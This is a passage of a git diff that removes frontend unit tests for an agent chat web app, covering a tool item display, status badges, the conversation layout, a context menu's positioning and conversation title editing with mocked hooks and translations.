- - expect(screen.getByText("PLUGINS_MODAL$EMPTY")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/conversation-panel/start-task-status-badge.test.tsx b/__tests__/components/features/conversation-panel/start-task-status-badge.test.tsx deleted file mode 100644 index b317a6798..000000000 --- a/__tests__/components/features/conversation-panel/start-task-status-badge.test.tsx +++ /dev/null @@ -1,31 +0,0 @@ -import { screen } from "@testing-library/react"; -import { describe, expect, it } from "vitest"; - -import { renderWithProviders } from "test-utils"; -import { StartTaskStatusBadge } from "#/components/features/conversation-panel/start-task-card/start-task-status-badge"; -import { I18nKey } from "#/i18n/declaration"; - -describe("StartTaskStatusBadge", () => { - // react-i18next is globally mocked so `t` echoes the key; asserting the key - // proves the label is resolved through i18n rather than a raw enum transform. - it.each([ - ["STARTING_CONVERSATION", I18nKey.CONVERSATION$STARTING_CONVERSATION], - ["READY", I18nKey.CONVERSATION$READY], - ["ERROR", I18nKey.COMMON$ERROR], - ] as const)( - "localizes the label for the %s status", - (taskStatus, expectedKey) => { - renderWithProviders(); - - expect(screen.getByText(expectedKey)).toBeInTheDocument(); - }, - ); - - it("renders nothing for the WORKING status", () => { - const { container } = renderWithProviders( - , - ); - - expect(container).toBeEmptyDOMElement(); - }); -}); diff --git a/__tests__/components/features/conversation-panel/system-message-modal/tool-item.test.tsx b/__tests__/components/features/conversation-panel/system-message-modal/tool-item.test.tsx deleted file mode 100644 index e0e71bda8..000000000 --- a/__tests__/components/features/conversation-panel/system-message-modal/tool-item.test.tsx +++ /dev/null @@ -1,551 +0,0 @@ -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { ToolItem } from "#/components/features/conversation-panel/system-message-modal/tool-item"; -import type { ChatCompletionToolParam } from "#/types/agent-server/core"; - -describe("ToolItem", () => { - const user = userEvent.setup(); - const onToggleMock = vi.fn(); - - afterEach(() => { - vi.clearAllMocks(); - }); - - describe("Name/Title Extraction", () => { - it("should display name from V0 format function.name", () => { - // Arrange - const v0Tool: ChatCompletionToolParam = { - type: "function", - function: { - name: "test_function", - description: "Test description", - parameters: {}, - }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const toggleButton = screen.getByTestId("toggle-button"); - expect(toggleButton).toHaveTextContent("test_function"); - }); - - it("should display title from V1 format root level", () => { - // Arrange - const v1Tool = { - title: "V1 Tool Title", - description: "V1 description", - parameters: { type: "object" }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const toggleButton = screen.getByTestId("toggle-button"); - expect(toggleButton).toHaveTextContent("V1 Tool Title"); - }); - - it("should prioritize root title over annotations.title in V1 format", () => { - // Arrange - const v1Tool = { - title: "Root Title", - annotations: { - title: "Annotations Title", - }, - description: "Description", - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const toggleButton = screen.getByTestId("toggle-button"); - expect(toggleButton).toHaveTextContent("Root Title"); - }); - - it("should fallback to annotations.title when root title is missing", () => { - // Arrange - const v1Tool = { - annotations: { - title: "Annotations Title", - }, - description: "Description", - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const toggleButton = screen.getByTestId("toggle-button"); - expect(toggleButton).toHaveTextContent("Annotations Title"); - }); - - it("should display empty string when no name or title is available", () => { - // Arrange - const toolWithoutName = { - description: "Description only", - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const toggleButton = screen.getByTestId("toggle-button"); - expect(toggleButton).toHaveTextContent(""); - }); - }); - - describe("Description Extraction", () => { - it("should display description from V0 format function.description when expanded", () => { - // Arrange - const v0Tool: ChatCompletionToolParam = { - type: "function", - function: { - name: "test_function", - description: "V0 function description", - parameters: {}, - }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const markdownRenderer = screen.getByTestId("markdown-renderer"); - expect(markdownRenderer).toHaveTextContent("V0 function description"); - }); - - it("should display description from V1 format root level when expanded", () => { - // Arrange - const v1Tool = { - title: "V1 Tool", - description: "V1 root description", - parameters: {}, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const markdownRenderer = screen.getByTestId("markdown-renderer"); - expect(markdownRenderer).toHaveTextContent("V1 root description"); - }); - - it("should prioritize root description over function.description in V1 format", () => { - // Arrange - const v1Tool = { - title: "V1 Tool", - description: "Root description", - function: { - description: "Function description", - }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const markdownRenderer = screen.getByTestId("markdown-renderer"); - expect(markdownRenderer).toHaveTextContent("Root description"); - }); - - it("should display empty string when no description is available", () => { - // Arrange - const toolWithoutDescription = { - title: "Tool Name", - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const markdownRenderer = screen.getByTestId("markdown-renderer"); - expect(markdownRenderer).toHaveTextContent(""); - }); - - it("should not display description when collapsed", () => { - // Arrange - const v0Tool: ChatCompletionToolParam = { - type: "function", - function: { - name: "test_function", - description: "Should not be visible", - parameters: {}, - }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - expect(screen.queryByTestId("markdown-renderer")).not.toBeInTheDocument(); - }); - }); - - describe("Parameters Extraction", () => { - it("should display parameters from V0 format function.parameters when expanded", () => { - // Arrange - const v0Tool: ChatCompletionToolParam = { - type: "function", - function: { - name: "test_function", - description: "Description", - parameters: { - type: "object", - properties: { - param1: { type: "string" }, - }, - }, - }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const toolParameters = screen.getByTestId("tool-parameters"); - expect(toolParameters).toBeInTheDocument(); - // Verify that the parameters are rendered (ReactJsonView will render the JSON) - expect(toolParameters).toHaveTextContent("param1"); - }); - - it("should display parameters from V1 format root level when expanded", () => { - // Arrange - const v1Tool = { - title: "V1 Tool", - description: "Description", - parameters: { - type: "object", - properties: { - param2: { type: "number" }, - }, - }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const toolParameters = screen.getByTestId("tool-parameters"); - expect(toolParameters).toBeInTheDocument(); - // Verify that the parameters are rendered (ReactJsonView will render the JSON) - expect(toolParameters).toHaveTextContent("param2"); - }); - - it("should prioritize function.parameters over root parameters in V0 format", () => { - // Arrange - const v0Tool = { - type: "function", - function: { - name: "test_function", - description: "Description", - parameters: { - type: "object", - source: "function", - }, - }, - parameters: { - type: "object", - source: "root", - }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - const toolParameters = screen.getByTestId("tool-parameters"); - expect(toolParameters).toBeInTheDocument(); - // Verify that function parameters are used (not root parameters) - expect(toolParameters).toHaveTextContent("function"); - expect(toolParameters).not.toHaveTextContent("root"); - }); - - it("should not display parameters when they are null", () => { - // Arrange - const toolWithoutParameters = { - title: "Tool Name", - description: "Description", - }; - - // Act - renderWithProviders( - , - ); - - // Assert - expect(screen.queryByTestId("tool-parameters")).not.toBeInTheDocument(); - }); - - it("should not display parameters when collapsed", () => { - // Arrange - const v0Tool: ChatCompletionToolParam = { - type: "function", - function: { - name: "test_function", - description: "Description", - parameters: { - type: "object", - }, - }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - expect(screen.queryByTestId("tool-parameters")).not.toBeInTheDocument(); - }); - }); - - describe("Toggle Functionality", () => { - it("should call onToggle with correct index when toggle button is clicked", async () => { - // Arrange - const v0Tool: ChatCompletionToolParam = { - type: "function", - function: { - name: "test_function", - description: "Description", - parameters: {}, - }, - }; - - // Act - renderWithProviders( - , - ); - - const toggleButton = screen.getByTestId("toggle-button"); - await user.click(toggleButton); - - // Assert - expect(onToggleMock).toHaveBeenCalledOnce(); - expect(onToggleMock).toHaveBeenCalledWith(2); - }); - - it("should show expanded content when isExpanded is true", () => { - // Arrange - const v0Tool: ChatCompletionToolParam = { - type: "function", - function: { - name: "test_function", - description: "Test description", - parameters: { type: "object" }, - }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - expect(screen.getByTestId("markdown-renderer")).toBeInTheDocument(); - expect(screen.getByTestId("tool-parameters")).toBeInTheDocument(); - }); - - it("should hide expanded content when isExpanded is false", () => { - // Arrange - const v0Tool: ChatCompletionToolParam = { - type: "function", - function: { - name: "test_function", - description: "Test description", - parameters: { type: "object" }, - }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - expect(screen.queryByTestId("markdown-renderer")).not.toBeInTheDocument(); - expect(screen.queryByTestId("tool-parameters")).not.toBeInTheDocument(); - }); - }); - - describe("Complex Scenarios", () => { - it("should handle V0 format with type field correctly", () => { - // Arrange - const v0Tool = { - type: "function", - function: { - name: "typed_function", - description: "Typed description", - parameters: { type: "object" }, - }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - expect(screen.getByTestId("toggle-button")).toHaveTextContent( - "typed_function", - ); - expect(screen.getByTestId("markdown-renderer")).toHaveTextContent( - "Typed description", - ); - expect(screen.getByTestId("tool-parameters")).toBeInTheDocument(); - }); - - it("should handle tool data where function is at root level (fallback behavior)", () => { - // Arrange - const toolWithFunctionAtRoot = { - name: "root_function", - description: "Root function description", - parameters: { type: "object" }, - }; - - // Act - renderWithProviders( - , - ); - - // Assert - expect(screen.getByTestId("toggle-button")).toHaveTextContent( - "root_function", - ); - expect(screen.getByTestId("markdown-renderer")).toHaveTextContent( - "Root function description", - ); - expect(screen.getByTestId("tool-parameters")).toBeInTheDocument(); - }); - }); -}); diff --git a/__tests__/components/features/conversation-panel/utils.ts b/__tests__/components/features/conversation-panel/utils.ts deleted file mode 100644 index c1a60f9e6..000000000 --- a/__tests__/components/features/conversation-panel/utils.ts +++ /dev/null @@ -1,17 +0,0 @@ -import { screen, within } from "@testing-library/react"; -import { UserEvent } from "@testing-library/user-event"; - -export const clickOnEditButton = async ( - user: UserEvent, - container?: HTMLElement, -) => { - const wrapper = container ? within(container) : screen; - - const ellipsisButton = wrapper.getByTestId("ellipsis-button"); - await user.click(ellipsisButton); - - const menu = screen.getByTestId("context-menu"); - const editButton = within(menu).getByTestId("edit-button"); - - await user.click(editButton); -}; diff --git a/__tests__/components/features/conversation/agent-status.test.tsx b/__tests__/components/features/conversation/agent-status.test.tsx deleted file mode 100644 index 4fec26834..000000000 --- a/__tests__/components/features/conversation/agent-status.test.tsx +++ /dev/null @@ -1,72 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { MemoryRouter } from "react-router"; -import { AgentStatus } from "#/components/features/controls/agent-status"; -import { AgentState } from "#/types/agent-state"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { useConversationStore } from "#/stores/conversation-store"; - -vi.mock("#/hooks/use-agent-state"); - -vi.mock("#/hooks/use-conversation-id", () => ({ - useConversationId: () => ({ conversationId: "test-id" }), - useOptionalConversationId: () => ({ conversationId: "test-id" }), -})); - -const wrapper = ({ children }: { children: React.ReactNode }) => ( - - - {children} - - -); - -const renderAgentStatus = ({ - isPausing = false, -}: { isPausing?: boolean } = {}) => - render( - , - { wrapper }, - ); - -describe("AgentStatus - isLoading logic", () => { - it("should show loading when curAgentState is INIT", () => { - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.INIT, - }); - - renderAgentStatus(); - - expect(screen.getByTestId("agent-loading-spinner")).toBeInTheDocument(); - }); - - it("should show loading when isPausing is true, even if shouldShownAgentLoading is false", () => { - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.AWAITING_USER_INPUT, - }); - - renderAgentStatus({ isPausing: true }); - - expect(screen.getByTestId("agent-loading-spinner")).toBeInTheDocument(); - }); - - it("should NOT update global shouldShownAgentLoading when only isPausing is true", () => { - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.AWAITING_USER_INPUT, - }); - - renderAgentStatus({ isPausing: true }); - - // Loading spinner shows (because isPausing) - expect(screen.getByTestId("agent-loading-spinner")).toBeInTheDocument(); - - // But global state should be false (because shouldShownAgentLoading is false) - const { shouldShownAgentLoading } = useConversationStore.getState(); - expect(shouldShownAgentLoading).toBe(false); - }); -}); diff --git a/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx b/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx deleted file mode 100644 index 9617e3fcb..000000000 --- a/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx +++ /dev/null @@ -1,21 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; -import { ChatInterfaceWrapper } from "#/components/features/conversation/conversation-main/chat-interface-wrapper"; - -vi.mock("#/components/features/chat/chat-interface", () => ({ - ChatInterface: () =>
, -})); - -describe("ChatInterfaceWrapper", () => { - it("renders the chat interface when the right panel is hidden", () => { - render(); - - expect(screen.getByTestId("chat-interface")).toBeInTheDocument(); - }); - - it("renders the chat interface when the right panel is shown", () => { - render(); - - expect(screen.getByTestId("chat-interface")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/conversation/conversation-loading.test.tsx b/__tests__/components/features/conversation/conversation-loading.test.tsx deleted file mode 100644 index 180c501a4..000000000 --- a/__tests__/components/features/conversation/conversation-loading.test.tsx +++ /dev/null @@ -1,15 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect } from "vitest"; -import { ConversationLoading } from "#/components/features/conversation/conversation-loading"; - -// react-i18next is mocked globally in vitest.setup.ts (t returns the key), so -// the rendered text is the I18nKey itself (HOME$LOADING). -describe("ConversationLoading", () => { - it("renders the loading message", () => { - // Arrange & Act - render(); - - // Assert — the loading status text is surfaced to the user - expect(screen.getByText("HOME$LOADING")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/conversation/conversation-main.test.tsx b/__tests__/components/features/conversation/conversation-main.test.tsx deleted file mode 100644 index 966905fdb..000000000 --- a/__tests__/components/features/conversation/conversation-main.test.tsx +++ /dev/null @@ -1,157 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { SidebarMobileNavProvider } from "#/components/features/sidebar/sidebar-mobile-nav-context"; - -// Mutable mock state for controlling breakpoint -let mockIsMobile = false; -let mockIsRightPanelShown = false; -let mockLeftWidth = 50; - -// Track ChatInterface unmount via vi.fn() -const chatInterfaceUnmount = vi.fn(); - -vi.mock("#/hooks/use-breakpoint", () => ({ - useBreakpoint: () => mockIsMobile, - SIDEBAR_RAIL_COLLAPSE_MAX_WIDTH: 767, -})); - -vi.mock("#/hooks/use-resizable-panels", () => ({ - useResizablePanels: () => ({ - leftWidth: mockLeftWidth, - rightWidth: 100 - mockLeftWidth, - isDragging: false, - containerRef: { current: null }, - handleMouseDown: vi.fn(), - }), -})); - -vi.mock("#/stores/conversation-store", () => ({ - useConversationStore: () => ({ - isRightPanelShown: mockIsRightPanelShown, - }), -})); - -// Mock ChatInterface with useEffect to track mount/unmount lifecycle -vi.mock("#/components/features/chat/chat-interface", () => { - // eslint-disable-next-line @typescript-eslint/no-require-imports - const React = require("react"); - return { - ChatInterface: () => { - React.useEffect(() => { - return () => chatInterfaceUnmount(); - }, []); - return
Chat Interface
; - }, - }; -}); - -vi.mock( - "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content", - () => ({ - ConversationTabContent: () =>
, - }), -); - -// ConversationMain now renders the conversation name and tabs inline as the -// pane headers; both reach into route/store state we don't set up here, so -// stub them out for layout-stability tests. -vi.mock( - "#/components/features/conversation/conversation-name-with-status", - () => ({ - ConversationNameWithStatus: () => ( -
- ), - }), -); - -vi.mock( - "#/components/features/conversation/conversation-tabs/conversation-tabs", - () => ({ - ConversationTabs: () =>
, - }), -); - -import { ConversationMain } from "#/components/features/conversation/conversation-main/conversation-main"; - -function renderConversationMain() { - return render( - - - , - ); -} - -describe("ConversationMain - Layout Transition Stability", () => { - beforeEach(() => { - mockIsMobile = false; - mockIsRightPanelShown = false; - mockLeftWidth = 50; - chatInterfaceUnmount.mockClear(); - }); - - it("renders ChatInterface at desktop width", () => { - mockIsMobile = false; - renderConversationMain(); - expect(screen.getByTestId("chat-interface")).toBeInTheDocument(); - }); - - it("renders ChatInterface at mobile width", () => { - mockIsMobile = true; - renderConversationMain(); - expect(screen.getByTestId("chat-interface")).toBeInTheDocument(); - }); - - it("does not unmount ChatInterface when crossing from desktop to mobile", () => { - mockIsMobile = false; - const { rerender } = renderConversationMain(); - expect(chatInterfaceUnmount).not.toHaveBeenCalled(); - - // Cross the breakpoint to mobile - mockIsMobile = true; - rerender( - - - , - ); - - // ChatInterface must NOT have been unmounted and remounted - expect(chatInterfaceUnmount).not.toHaveBeenCalled(); - expect(screen.getByTestId("chat-interface")).toBeInTheDocument(); - }); - - it("does not unmount ChatInterface when crossing from mobile to desktop", () => { - mockIsMobile = true; - const { rerender } = renderConversationMain(); - expect(chatInterfaceUnmount).not.toHaveBeenCalled(); - - // Cross the breakpoint to desktop - mockIsMobile = false; - rerender( - - - , - ); - - // ChatInterface must NOT have been unmounted and remounted - expect(chatInterfaceUnmount).not.toHaveBeenCalled(); - expect(screen.getByTestId("chat-interface")).toBeInTheDocument(); - }); - - it("survives rapid back-and-forth resize without unmounting ChatInterface", () => { - mockIsMobile = false; - const { rerender } = renderConversationMain(); - - // Simulate rapid resize back and forth across the breakpoint - for (const mobile of [true, false, true, false, true]) { - mockIsMobile = mobile; - rerender( - - - , - ); - } - - expect(chatInterfaceUnmount).not.toHaveBeenCalled(); - expect(screen.getByTestId("chat-interface")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/conversation/conversation-mobile-panel-page.test.tsx b/__tests__/components/features/conversation/conversation-mobile-panel-page.test.tsx deleted file mode 100644 index b5220b2ab..000000000 --- a/__tests__/components/features/conversation/conversation-mobile-panel-page.test.tsx +++ /dev/null @@ -1,32 +0,0 @@ -import { render, screen, fireEvent } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; -import { useConversationStore } from "#/stores/conversation-store"; - -// Stub the heavy tab subtree so the test focuses on this page's own behavior. -vi.mock( - "#/components/features/conversation/conversation-tabs/conversation-tabs", - () => ({ ConversationTabs: () =>
}), -); -vi.mock( - "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content", - () => ({ ConversationTabContent: () =>
}), -); - -import { ConversationMobilePanelPage } from "#/components/features/conversation/conversation-main/conversation-mobile-panel-page"; - -describe("ConversationMobilePanelPage", () => { - it("opens the right panel on mount", () => { - render(); - - expect(useConversationStore.getState().isRightPanelShown).toBe(true); - }); - - it("calls onNavigateBack when the back button is clicked", () => { - const onNavigateBack = vi.fn(); - render(); - - fireEvent.click(screen.getByTestId("conversation-mobile-panel-back")); - - expect(onNavigateBack).toHaveBeenCalledTimes(1); - }); -}); diff --git a/__tests__/components/features/conversation/conversation-name-context-menu.test.tsx b/__tests__/components/features/conversation/conversation-name-context-menu.test.tsx deleted file mode 100644 index 6687d1157..000000000 --- a/__tests__/components/features/conversation/conversation-name-context-menu.test.tsx +++ /dev/null @@ -1,187 +0,0 @@ -import React from "react"; -import { screen } from "@testing-library/react"; -import { renderToStaticMarkup } from "react-dom/server"; -import { afterEach, describe, expect, it, vi } from "vitest"; - -import { renderWithProviders } from "test-utils"; -import { ConversationNameContextMenu } from "#/components/features/conversation/conversation-name-context-menu"; - -vi.mock("#/hooks/use-breakpoint", () => ({ - useBreakpoint: () => false, -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => ({ - backend: { - id: "bundled", - name: "Bundled", - host: "http://localhost:3000", - apiKey: "", - kind: "local", - }, - orgId: null, - }), -})); - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => ({ - data: { - public: false, - }, - }), -})); - -function createAnchor(rect: Partial = {}) { - const anchor = document.createElement("button"); - anchor.dataset.testAnchor = "true"; - Object.defineProperty(anchor, "getBoundingClientRect", { - value: () => ({ - x: 12, - y: 20, - top: 20, - right: 112, - bottom: 48, - left: 12, - width: 100, - height: 28, - toJSON: () => ({}), - ...rect, - }), - }); - document.body.appendChild(anchor); - return anchor; -} - -// The `style.left/top/bottom` assertions in this file verify the numeric -// output of the portal positioning math (anchor rect → menu coordinates). -// They are functional logic checks, not visual styling assertions. -describe("ConversationNameContextMenu portal rendering", () => { - afterEach(() => { - document - .querySelectorAll('[data-test-anchor="true"]') - .forEach((anchor) => anchor.remove()); - vi.restoreAllMocks(); - }); - - it("renders inline when no anchor ref is provided", () => { - const { container } = renderWithProviders( - , - ); - - expect( - container.contains(screen.getByTestId("conversation-name-context-menu")), - ).toBe(true); - }); - - it("renders in a portal and positions below the anchor when provided", () => { - const anchor = createAnchor(); - const { container } = renderWithProviders( - , - ); - - const menu = screen.getByTestId("conversation-name-context-menu"); - expect(container.contains(menu)).toBe(false); - - const wrapper = menu.parentElement as HTMLDivElement; - expect(wrapper.style.left).toBe("12px"); - expect(wrapper.style.top).toBe("56px"); - }); - - it("positions above the anchor for top-aligned menus", () => { - const anchor = createAnchor({ top: 120, bottom: 148 }); - Object.defineProperty(window, "innerHeight", { - configurable: true, - value: 800, - }); - - renderWithProviders( - , - ); - - const wrapper = screen.getByTestId("conversation-name-context-menu") - .parentElement as HTMLDivElement; - expect(wrapper.style.bottom).toBe("688px"); - }); - - it("repositions when the anchored element changes between renders", () => { - const firstAnchor = createAnchor({ left: 12, top: 20, bottom: 48 }); - const secondAnchor = createAnchor({ left: 64, top: 80, bottom: 112 }); - const { rerender } = renderWithProviders( - , - ); - - rerender( - , - ); - - const wrapper = screen.getByTestId("conversation-name-context-menu") - .parentElement as HTMLDivElement; - expect(wrapper.style.left).toBe("64px"); - expect(wrapper.style.top).toBe("120px"); - }); - - it("registers and cleans up resize/scroll listeners for anchored menus", () => { - const addEventListenerSpy = vi.spyOn(window, "addEventListener"); - const removeEventListenerSpy = vi.spyOn(window, "removeEventListener"); - const anchor = createAnchor(); - - const { unmount } = renderWithProviders( - , - ); - - expect(addEventListenerSpy).toHaveBeenCalledWith( - "resize", - expect.any(Function), - ); - expect(addEventListenerSpy).toHaveBeenCalledWith( - "scroll", - expect.any(Function), - true, - ); - - unmount(); - - expect(removeEventListenerSpy).toHaveBeenCalledWith( - "resize", - expect.any(Function), - ); - expect(removeEventListenerSpy).toHaveBeenCalledWith( - "scroll", - expect.any(Function), - true, - ); - }); - - it("returns null during static rendering before portal coordinates exist", () => { - const html = renderToStaticMarkup( - , - ); - - expect(html).toBe(""); - }); -}); diff --git a/__tests__/components/features/conversation/conversation-name.test.tsx b/__tests__/components/features/conversation/conversation-name.test.tsx deleted file mode 100644 index 2daffd872..000000000 --- a/__tests__/components/features/conversation/conversation-name.test.tsx +++ /dev/null @@ -1,706 +0,0 @@ -import { screen, within, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { - afterEach, - beforeAll, - beforeEach, - describe, - expect, - it, - vi, -} from "vitest"; -import { renderWithProviders } from "test-utils"; -import { ConversationName } from "#/components/features/conversation/conversation-name"; -import { ConversationNameContextMenu } from "#/components/features/conversation/conversation-name-context-menu"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import type { Backend } from "#/api/backend-registry/types"; -import type { Conversation } from "#/api/open-hands.types"; - -const localBackend: Backend = { - id: "bundled", - name: "Bundled", - host: "http://localhost:3000", - apiKey: "", - kind: "local", -}; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -// Hoisted mocks for controllable return values -const { - mockMutate, - mockDisplaySuccessToast, - useActiveConversationMock, - useConfigMock, - useActiveBackendMock, -} = vi.hoisted(() => ({ - mockMutate: vi.fn(), - mockDisplaySuccessToast: vi.fn(), - useActiveConversationMock: vi.fn(() => ({ - data: { - conversation_id: "test-conversation-id", - title: "Test Conversation", - status: "RUNNING", - }, - })), - useConfigMock: vi.fn(() => ({ - data: {}, - })), - useActiveBackendMock: vi.fn(), -})); - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); - -vi.mock("#/hooks/query/use-config", () => ({ - useConfig: () => useConfigMock(), -})); - -vi.mock("#/hooks/mutation/use-update-conversation", () => ({ - useUpdateConversation: () => ({ - mutate: mockMutate, - }), -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => useActiveBackendMock(), -})); - -vi.mock("#/utils/custom-toast-handlers", () => ({ - displaySuccessToast: mockDisplaySuccessToast, - displayErrorToast: vi.fn(), -})); - -// Mock react-i18next -vi.mock("react-i18next", async () => { - const actual = await vi.importActual("react-i18next"); - return { - ...actual, - useTranslation: () => ({ - t: (key: string) => { - const translations: Record = { - CONVERSATION$TITLE_UPDATED: "Conversation title updated", - BUTTON$RENAME: "Rename", - BUTTON$EXPORT_CONVERSATION: "Export Conversation", - BUTTON$EXPORT_TRANSCRIPT: "Export…", - BUTTON$DOWNLOAD_CONVERSATION_DATA: "Download conversation data", - BUTTON$DOWNLOAD_VIA_VSCODE: "Download via VS Code", - BUTTON$SHOW_AGENT_TOOLS_AND_METADATA: "Show Agent Tools", - CONVERSATION$SHOW_SKILLS: "Show Skills", - BUTTON$DISPLAY_COST: "Display Cost", - COMMON$CLOSE_CONVERSATION_STOP_RUNTIME: - "Stop Conversation (Runtime)", - COMMON$STOP_CONVERSATION: "Stop Conversation", - COMMON$DELETE_CONVERSATION: "Delete Conversation", - CONVERSATION$SHARE_PUBLICLY: "Share Publicly", - CONVERSATION$LINK_COPIED: "Link copied to clipboard", - BUTTON$COPY_TO_CLIPBOARD: "Copy to Clipboard", - BUTTON$OPEN_IN_NEW_TAB: "Open in New Tab", - }; - return translations[key] || key; - }, - i18n: { - changeLanguage: () => new Promise(() => {}), - }, - }), - }; -}); - -// Helper function to render ConversationName with navigation context -const renderConversationNameWithRouter = () => { - return renderWithProviders(, { - navigation: { - currentPath: "/conversations/test-conversation-id", - conversationId: "test-conversation-id", - }, - }); -}; - -describe("ConversationName", () => { - beforeAll(() => { - vi.stubGlobal("window", { - open: vi.fn(), - addEventListener: vi.fn(), - removeEventListener: vi.fn(), - location: { - origin: "http://localhost:3000", - }, - }); - }); - - beforeEach(() => { - useActiveBackendMock.mockReturnValue({ - backend: localBackend, - orgId: null, - }); - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - it("should render the conversation name in view mode", () => { - renderConversationNameWithRouter(); - - const container = screen.getByTestId("conversation-name"); - const titleElement = within(container).getByTestId( - "conversation-name-title", - ); - - expect(container).toBeInTheDocument(); - expect(titleElement).toBeInTheDocument(); - expect(titleElement).toHaveTextContent("Test Conversation"); - }); - - it("should switch to edit mode on double click", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - const titleElement = screen.getByTestId("conversation-name-title"); - - // Initially should be in view mode - expect(titleElement).toBeInTheDocument(); - expect( - screen.queryByTestId("conversation-name-input"), - ).not.toBeInTheDocument(); - - // Double click to enter edit mode - await user.dblClick(titleElement); - - // Should now be in edit mode - expect( - screen.queryByTestId("conversation-name-title"), - ).not.toBeInTheDocument(); - const inputElement = screen.getByTestId("conversation-name-input"); - expect(inputElement).toBeInTheDocument(); - expect(inputElement).toHaveValue("Test Conversation"); - }); - - it("should update conversation title when input loses focus with valid value", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - const titleElement = screen.getByTestId("conversation-name-title"); - await user.dblClick(titleElement); - - const inputElement = screen.getByTestId("conversation-name-input"); - await user.clear(inputElement); - await user.type(inputElement, "New Conversation Title"); - await user.tab(); // Trigger blur event - - // Verify that the update function was called - expect(mockMutate).toHaveBeenCalledWith( - { - conversationId: "test-conversation-id", - newTitle: "New Conversation Title", - }, - expect.any(Object), - ); - }); - - it("should not update conversation when title is unchanged", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - const titleElement = screen.getByTestId("conversation-name-title"); - await user.dblClick(titleElement); - - const inputElement = screen.getByTestId("conversation-name-input"); - // Keep the same title - await user.tab(); - - // Should still have the original title - expect(inputElement).toHaveValue("Test Conversation"); - }); - - it("should not call the API if user attempts to save an unchanged title", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - const titleElement = screen.getByTestId("conversation-name-title"); - await user.dblClick(titleElement); - - const inputElement = screen.getByTestId("conversation-name-input"); - - // Verify the input has the original title - expect(inputElement).toHaveValue("Test Conversation"); - - // Trigger blur without changing the title - await user.tab(); - - // Verify that the API was NOT called - expect(mockMutate).not.toHaveBeenCalled(); - }); - - it("should reset input value when title is empty and blur", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - const titleElement = screen.getByTestId("conversation-name-title"); - await user.dblClick(titleElement); - - const inputElement = screen.getByTestId("conversation-name-input"); - await user.clear(inputElement); - await user.tab(); - - // Should reset to original title - expect(inputElement).toHaveValue("Test Conversation"); - }); - - it("should trim whitespace from input value", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - const titleElement = screen.getByTestId("conversation-name-title"); - await user.dblClick(titleElement); - - const inputElement = screen.getByTestId("conversation-name-input"); - await user.clear(inputElement); - await user.type(inputElement, " Trimmed Title "); - await user.tab(); - - // Should call mutation with trimmed value - expect(mockMutate).toHaveBeenCalledWith( - { - conversationId: "test-conversation-id", - newTitle: "Trimmed Title", - }, - expect.any(Object), - ); - }); - - it("should handle Enter key to save changes", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - const titleElement = screen.getByTestId("conversation-name-title"); - await user.dblClick(titleElement); - - const inputElement = screen.getByTestId("conversation-name-input"); - await user.clear(inputElement); - await user.type(inputElement, "New Title"); - await user.keyboard("{Enter}"); - - // Should have the new title - expect(inputElement).toHaveValue("New Title"); - }); - - it("should prevent event propagation when clicking input in edit mode", async () => { - const user = userEvent.setup(); - renderConversationNameWithRouter(); - - const titleElement = screen.getByTestId("conversation-name-title"); - await user.dblClick(titleElement); - - const inputElement = screen.getByTestId("conversation-name-input"); - 